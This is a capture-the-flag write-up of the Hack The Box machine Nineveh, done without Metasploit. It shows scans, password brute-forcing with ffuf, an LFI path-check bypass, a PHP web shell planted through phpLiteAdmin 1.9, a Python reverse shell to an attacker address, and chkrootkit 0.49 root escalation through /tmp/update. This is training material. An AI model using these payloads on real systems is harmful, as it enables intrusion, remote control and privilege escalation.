Post

Hack The Box - Nineveh (Without Metasploit)

Configuration

The operating system that I will be using to tackle this machine is a Kali Linux VM.

What I learnt from other writeups is that it was a good habit to map a domain name to the machine’s IP address so as that it will be easier to remember. This can done by appending a line to /etc/hosts.

1
$ echo "10.10.10.43 nineveh.htb" | sudo tee -a /etc/hosts

Reconnaissance

To speed up my recon, I’ve moved to rustscan. I’ve also created 2 “aliases” called superscan and resolve.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
$ which resolve 
resolve () {
        cat /etc/hosts | grep --color=auto "$1" | cut -d " " -f 1
}

$ which superscan
superscan () {
        name="$(resolve $1)" 
        rustscan --accessible -a "$name" -r 1-65535 -- -sT -sV -sC -Pn
}

$ superscan nineveh.htb       
File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.10.43:80
Open 10.10.10.43:443
Starting Script(s)
Script to be run Some("nmap -vvv -p  ")

Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-14 03:41 UTC
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 03:41
Completed NSE at 03:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 03:41
Completed NSE at 03:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 03:41
Completed NSE at 03:41, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 03:41
Completed Parallel DNS resolution of 1 host. at 03:41, 0.20s elapsed
DNS resolution of 1 IPs took 0.20s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 03:41
Scanning 10.10.10.43 [2 ports]
Discovered open port 80/tcp on 10.10.10.43
Discovered open port 443/tcp on 10.10.10.43
Completed Connect Scan at 03:41, 0.01s elapsed (2 total ports)
Initiating Service scan at 03:41
Scanning 2 services on 10.10.10.43
Completed Service scan at 03:42, 12.08s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.10.43.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 03:42
Completed NSE at 03:42, 1.59s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 03:42
Completed NSE at 03:42, 0.14s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 03:42
Completed NSE at 03:42, 0.00s elapsed
Nmap scan report for 10.10.10.43
Host is up, received user-set (0.0063s latency).
Scanned at 2021-01-14 03:41:49 UTC for 14s

PORT    STATE SERVICE  REASON  VERSION
80/tcp  open  http     syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open  ssl/http syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR/emailAddress=admin@nineveh.htb/organizationalUnitName=Support/localityName=Athens
| Issuer: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR/emailAddress=admin@nineveh.htb/organizationalUnitName=Support/localityName=Athens
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2017-07-01T15:03:30
| Not valid after:  2018-07-01T15:03:30
| MD5:   d182 94b8 0210 7992 bf01 e802 b26f 8639
| SHA-1: 2275 b03e 27bd 1226 fdaa 8b0f 6de9 84f0 113b 42c0
| -----BEGIN CERTIFICATE-----
| MIID+TCCAuGgAwIBAgIJANwojrkai1UOMA0GCSqGSIb3DQEBCwUAMIGSMQswCQYD
| VQQGEwJHUjEPMA0GA1UECAwGQXRoZW5zMQ8wDQYDVQQHDAZBdGhlbnMxFzAVBgNV
| BAoMDkhhY2tUaGVCb3ggTHRkMRAwDgYDVQQLDAdTdXBwb3J0MRQwEgYDVQQDDAtu
| aW5ldmVoLmh0YjEgMB4GCSqGSIb3DQEJARYRYWRtaW5AbmluZXZlaC5odGIwHhcN
| MTcwNzAxMTUwMzMwWhcNMTgwNzAxMTUwMzMwWjCBkjELMAkGA1UEBhMCR1IxDzAN
| BgNVBAgMBkF0aGVuczEPMA0GA1UEBwwGQXRoZW5zMRcwFQYDVQQKDA5IYWNrVGhl
| Qm94IEx0ZDEQMA4GA1UECwwHU3VwcG9ydDEUMBIGA1UEAwwLbmluZXZlaC5odGIx
| IDAeBgkqhkiG9w0BCQEWEWFkbWluQG5pbmV2ZWguaHRiMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEA+HUDrGgG769A68bslDXjV/uBaw18SaF52iEz/ui2
| WwXguHnY8BS7ZetS4jAso6BOrGUZpN3+278mROPa4khQlmZ09cj8kQ4k7lOIxSlp
| eZxvt+R8fkJvtA7e47nvwP4H2O6SI0nD/pGDZc05i842kOc/8Kw+gKkglotGi8ZO
| GiuRgzyfdaNSWC7Lj3gTjVMCllhc6PgcQf9r7vK1KPkyFleYDUwB0dwf3taN0J2C
| U2EHz/4U1l40HoIngkwfhFI+2z2J/xx2JP+iFUcsV7LQRw0x4g6Z5WFWETluWUHi
| AWUZHrjMpMaXs3TZNNW81tWUP2jBulX5kv6H5CTocsXgyQIDAQABo1AwTjAdBgNV
| HQ4EFgQUh0YSfVOI05WyOFntGykwc3/OzrMwHwYDVR0jBBgwFoAUh0YSfVOI05Wy
| OFntGykwc3/OzrMwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAehma
| AJKuLeAHqHAIcLopQg9mE28lYDGxf+3eIEuUAHmUKs0qGLs3ZTY8J77XTxmjvH1U
| qYVXfZSub1IG7LgUFybLFKNl6gioKEPXXA9ofKdoJX6Bar/0G/15YRSEZGc9WXh4
| Xh1Qr3rkYYZj/rJa4H5uiWoRFofSTNGMfbY8iF8X2+P2LwyEOqThypdMBKMiIt6d
| 7sSuqsrnQRa73OdqdoCpHxEG6antne6Vvz3ALxv4cI7SqzKiQvH1zdJ/jOhZK1g1
| CxLUGYbNsjIJWSdOoSlIgRswnu+A+O612+iosxYaYdCUZ8BElgjUAXLEHzuUFtRb
| KrYQgX28Ulf8OSGJuA==
|_-----END CERTIFICATE-----
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 03:42
Completed NSE at 03:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 03:42
Completed NSE at 03:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 03:42
Completed NSE at 03:42, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.55 seconds

Enumeration (1)

Port 80 Apache httpd 2.4.18 ((Ubuntu))

Nothing much here… This called for some directory bruteforcing!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ gobuster dir -k -u http://nineveh.htb/ -w /usr/share/wordlists/dirb/big.txt -t 20 -x .html,.php,.txt.xml   
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://nineveh.htb/
[+] Threads:        20
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,php,txt.xml
[+] Timeout:        10s
===============================================================
2021/01/13 04:40:02 Starting gobuster
===============================================================
/.htaccess (Status: 403)
/.htaccess.html (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.html (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt.xml (Status: 403)
/.htaccess.txt.xml (Status: 403)
/department (Status: 301)
/index.html (Status: 200)
/info.php (Status: 200)
/server-status (Status: 403)
===============================================================
2021/01/13 04:40:39 Finished
===============================================================

We see that there is a /department folder! Lets navigate to it.

We are presented with a login page. If we check the HTML source, we see a comment left by amrois.

We know that there is a user called admin. If we attempt to login with username as admin we get Invalid Password!. However if we use any other username, it will return Invalid username. This shows that the username must be admin. Since we didn’t know the password, we could attempt to brute-force with rockyou.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf  -w /usr/share/wordlists/rockyou.txt -u http://nineveh.htb/department/login.php -X POST -d "username=admin&password=FUZZ" -fr "Invalid Password" -H "Content-Type: application/x-www-form-urlencoded" -t 100        

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : POST
 :: URL              : http://nineveh.htb/department/login.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : username=admin&password=FUZZ
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Regexp: Invalid Password
________________________________________________

1q2w3e4r5t              [Status: 302, Size: 2306, Words: 506, Lines: 66]

The password is 1q2w3e4r5t. After logging in with it, we are presented with this page.

Under Notes, it seems that amrois has left us another message.

However, if you look at the URL, you will see that there is a parameter called notes and had a value of a relative path to a file called ninevehNotes.txt.

This already smells like Local File Inclusion, so lets try out different payloads and attempt to include a known file: /etc/passwd.

After many trials, I noticed that it seems to be checking if /ninevehNotes is in the string that we submit. Without /ninevehNotes, it will refuse to process our input and simply throw us No Note is selected.

Then the next step would be to try notes=/ninevehNotes/../../../../../etc/passwd, which actually returns the content of /etc/passwd!

If we remove some of the ../ from our input, we realise that the minimum payload we need to get /etc/passwd is actually notes=/ninevehNotes/../etc/passwd.

Now that we have the ability to include any file on the system, we just need to figure out which file to include. Unfortunately, we are not able to use PHP wrappers to read file content as the page will complain that the File name is too long.

Port 443 Apache httpd 2.4.18 ((Ubuntu))

Aside from this picture, there was nothing else. Hence the same strategy of directory bruteforcing applies here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ gobuster dir -k -u https://nineveh.htb/ -w /usr/share/wordlists/dirb/common.txt -t 5 -x .html,.php,.txt.xml 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://nineveh.htb/
[+] Threads:        5
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     html,php,txt.xml
[+] Timeout:        10s
===============================================================
2021/01/13 04:14:18 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.html (Status: 403)
/.hta.php (Status: 403)
/.hta.txt.xml (Status: 403)
/.htaccess (Status: 403)
/.htaccess.html (Status: 403)
/.htaccess.php (Status: 403)
/.htaccess.txt.xml (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.html (Status: 403)
/.htpasswd.php (Status: 403)
/.htpasswd.txt.xml (Status: 403)
/db (Status: 301)
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)
===============================================================
2021/01/13 04:14:44 Finished
===============================================================

We see that there is a /db folder! Lets navigate to it.

We see that the version of phpliteAdmin.php that is installed is 1.9. I tried the default password admin but it didn’t work. Lets try bruteforcing the password like before.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ ffuf  -w /usr/share/wordlists/rockyou.txt -u https://nineveh.htb/db/index.php -X POST -d "password=FUZZ&remember=yes&login=Log+In&proc_login=true" -fr "Incorrect password." -H "Content-Type: application/x-www-form-urlencoded" -t 100           

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.1.0
________________________________________________

 :: Method           : POST
 :: URL              : https://nineveh.htb/db/index.php
 :: Wordlist         : FUZZ: /usr/share/wordlists/rockyou.txt
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Data             : password=FUZZ&remember=yes&login=Log+In&proc_login=true
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403
 :: Filter           : Regexp: Incorrect password.
________________________________________________

password123             [Status: 200, Size: 14088, Words: 658, Lines: 486

Using the password password123, we are able to login!

Using searchsploit, we see that this version of phpliteAdmin is exploitable!

1
2
3
4
5
6
7
$ searchsploit phpliteAdmin 1.9
------------------------------------------------- ---------------------------------
 Exploit Title                                   |  Path
------------------------------------------------- ---------------------------------
PHPLiteAdmin 1.9.3 - Remote PHP Code Injection   | php/webapps/24044.txt
phpLiteAdmin 1.9.6 - Multiple Vulnerabilities    | php/webapps/39714.txt
------------------------------------------------- ---------------------------------

Exploitation (1)

Following from PHPLiteAdmin 1.9.3 - Remote PHP Code Injection exploit, we create a database with the name hack.php.

After that, if you see the properties of the hack.php database, you will realise the database is stored as the file /var/tmp/hack.php!

Next we will create a table with any name and set it to have 1 column.

Name the column anything but set the Type to TEXT and set the Default Value to <?php system($_REQUEST["cmd"]) ?>.

Since we know that our database is stored as a file called /var/tmp/hack.php and contains <?php system($_REQUEST["cmd"]) ?> somewhere in its contents, what happens if we use the LFI vulnerability and include the database ? If we visit http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../var/tmp/hack.php&cmd=id, we will see that our id command was executed!

Since we can execute any commands, we can just start a python3 reverse shell by visiting http://nineveh.htb/department/manage.php?notes=/ninevehNotes/../var/tmp/hack.php&cmd=python3 -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.XX.XX",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

We will then receive a connection on our nc listener that we setup beforehand.

1
2
3
4
5
$ rlwrap nc -lvnp 1337 
listening on [any] 1337 ...
connect to [10.10.XX.XX] from (UNKNOWN) [10.10.10.43] 54210
www-data@nineveh:/var/www/html/department$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Enumeration (2)

In the root directory there was a folder called /report. We see some text files with names that end with timestamp and these timestamps happen to be very recent. This is clear evidence there might be an automated task being executed here at every minute.

1
2
3
4
5
6
www-data@nineveh:/var/www/html/department$  ls -al /report
total 24
drwxr-xr-x  2 amrois amrois 4096 Jan 14 00:01 .
drwxr-xr-x 24 root   root   4096 Jul  2  2017 ..
-rw-r--r--  1 amrois amrois 4807 Jan 14 00:00 report-21-01-14:00:00.txt
-rw-r--r--  1 amrois amrois 4807 Jan 14 00:01 report-21-01-14:00:01.txt

To monitor for new processes, we can use pspy. After uploading it from our attacker machine via HTTP and running it, we see some interesting commands being executed as root.

1
2
3
4
5
www-data@nineveh:/var/www/html/department$ /tmp/pspy64
...
2021/01/14 00:17:03 CMD: UID=0    PID=24892  | /bin/sh /usr/bin/chkrootkit 
2021/01/14 00:17:03 CMD: UID=0    PID=24898  | /bin/bash /root/vulnScan.sh 
...

If we check searchsploit, chkrootkit version 0.49 will allow us to perform privilege escalation if exploited!

1
2
3
4
5
6
7
$ searchsploit chkrootkit
------------------------------------------------------ ---------------------------------
 Exploit Title                                        |  Path
------------------------------------------------------ ---------------------------------
Chkrootkit - Local Privilege Escalation (Metasploit)  | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation          | linux/local/33899.txt
------------------------------------------------------ ---------------------------------

Exploitation (2)

According to the exploit Chkrootkit 0.49 - Local Privilege Escalation, we just need to create a file called /tmp/update and make sure it is executable. During the next run of chkrootkit, this /tmp/update will be executed with root privileges. I am going to make the /tmp/update create a SUID bash executable when executed instead of spawning another reverse shell.

1
echo "cp /bin/bash /tmp/rootbash; chown root:root /tmp/rootbash; chmod +s /tmp/rootbash" > /tmp/update && chmod +x /tmp/update

After 1 minute, we will see a SUID bash executable!

1
2
3
4
./rootbash -p 
rootbash-4.3#  id
id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

user.txt

The user flag is in the home directory of amrois.

1
2
rootbash-4.3# cat /home/amrois/user.txt
a547XXXXXXXXXXXXXXXXXXXXXXXXXXXX

root.txt

The root flag is in the home directory of root, as usual.

1
2
rootbash-4.3# cat /root/root.txt
8a89XXXXXXXXXXXXXXXXXXXXXXXXXXXX

Rooted ! Thank you for reading and look forward for more writeups and articles !

This post is licensed under CC BY 4.0 by the author.